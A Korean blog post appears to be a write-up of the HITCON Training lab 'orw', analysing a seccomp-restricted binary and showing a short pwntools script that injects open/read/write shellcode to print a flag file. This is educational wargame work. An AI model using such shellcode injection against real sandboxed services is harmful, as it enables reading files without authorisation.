일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- C++11
- #IntelManual
- #MINT64 #Sqix
- vim
- libtins
- #
- ftz
- Find
- Network
- vi 외부 명령어
- KASAN
- Sqix
- 오버워치
- command
- #Best of the Best #OS #MINT64 #Sqix
- vi
- FTZ 레벨2
- Overwatch League SaberMetrics
- 오버워치 세이버메트릭스
- >
- libpcap
- BEST of the BEST
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- 인터럽트
- linux
- #Qt Creator
- Today
- Total
Sqix
Hitcon Training - Lab 02 : Shellcraft 본문
문제 이름부터 shellcraft를 사용해서 문제를 풀라고 하는 듯 하네요.
Shellcraft 매뉴얼 링크부터 알아봅시다.
http://docs.pwntools.com/en/stable/shellcraft/i386.html - i386
http://docs.pwntools.com/en/stable/shellcraft/amd64.html - amd64
저희가 풀 환경은 i386이므로 위의 매뉴얼을 참고합시다.
이제 문제에 대해서 파악을 해 보면, lab02에 접근하면 실행 가능한 ELF 파일인 orw.bin 파일이 있습니다.
원래는 training.pwnable.tw:11002에 원격으로 붙어서 해야 하나 본데, 서버가 죽었는지 붙어도 반응이 없네요.
로컬에서 풀 수 있게 파일을 하나 만들어 보도록 합시다.
먼저 orw.bin 파일을 실행하여 봅시다.
바로 세그먼테이션 폴트가 발생하네요. gdb로 열어보겠습니다.
main함수가 존재하는것이 보여 main함수를 disas해 보았습니다.
첫 호출이 orw_seccomp인데, prctl도 보이는 것을 보니, seccomp 모드를 설정하거나 함수 제한을 하는 것 같습니다.
prctl(38, 1, 0, 0, 0);
prctl(22, 2, eax);
이렇게 나타납니다.
prctl은 prctl(option, arg1, arg2, arg3, arg4, arg5) 로 나타내어집니다.
option 38은 PR_SET_NO_NEW_PRIVS 옵션으로, arg2에 NO_NEW_PRIVS 값이 1로 세팅되면 execve() 함수가 추가 권한을 부여해주지 못하도록 합니다.
option 22는 PR_SET_SECCOMP, 즉 seccomp 활성화로, arg2가 0이면 비활성화, 1이면 Strict mode(read, write, _exit, sigreturn syscall만 허용), 2면 Filter mode(arg3에 sock_fprog 구조체 포인터 형태로 필터링 인자 전달)입니다.
여기서는 read, write, open만 쓸 수 있게 필터링이 걸려있네요.
이후 printf 부분이 "Give my your shellcode"(0x80486a0)를 인자로 가져와서 출력하고,
read(0, 0x804a060, 0xc8);를 호출하는 것으로 확인됩니다.
여기서 0xc8은 200이므로, 결국 200byte 안쪽의 shellcode를 작성해서 exploit을 하라는 것으로 보이네요.
shellcraft를 사용해서 payload를 작성해 보도록 합시다.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from pwn import *
p = process('./orw.bin')
ex = ''
ex += asm(shellcraft.open('flag'))
ex += asm(shellcraft.read('eax','esp',24))
ex += asm(shellcraft.write(1, 'esp', 24))
p.recvuntil("Give my your shellcode")
p.sendline(ex)
p.interactive()
|
cs |
pwn 라이브러리 사용이 오랜만이라 복습 겸 코드 풀이를 간략하게 해 보자면
orw.bin을 프로세스로 지정하고, ex에 쉘코드를 저장합니다.
shellcraft.open을 이용해서 flag 파일을 엽니다.
파일의 fd가 eax에 저장되기 때문에, 여기서 24byte(flag 파일의 크기)만큼 읽어와 esp에 저장합니다.
이후 write 함수를 이용해 esp에 저장된 24바이트를 출력합니다.
process에서 "Give my your shellcode"가 나타나고 입력을 진행하므로 recvuntil을 이용해 줍니다.
'Wargame > HITCON Training' 카테고리의 다른 글
Hitcon Training - Lab 05 : Return Oriented Programming (0) | 2019.09.21 |
---|---|
Hitcon Training - Lab 04 : Return to libc (0) | 2019.09.18 |
Hitcon Training - Lab 03 : Return to shellcode (0) | 2019.09.16 |
Hitcon Training - Lab 01 : Sysmagic (0) | 2019.09.09 |
HITCON Training 로컬 설정 (0) | 2018.07.30 |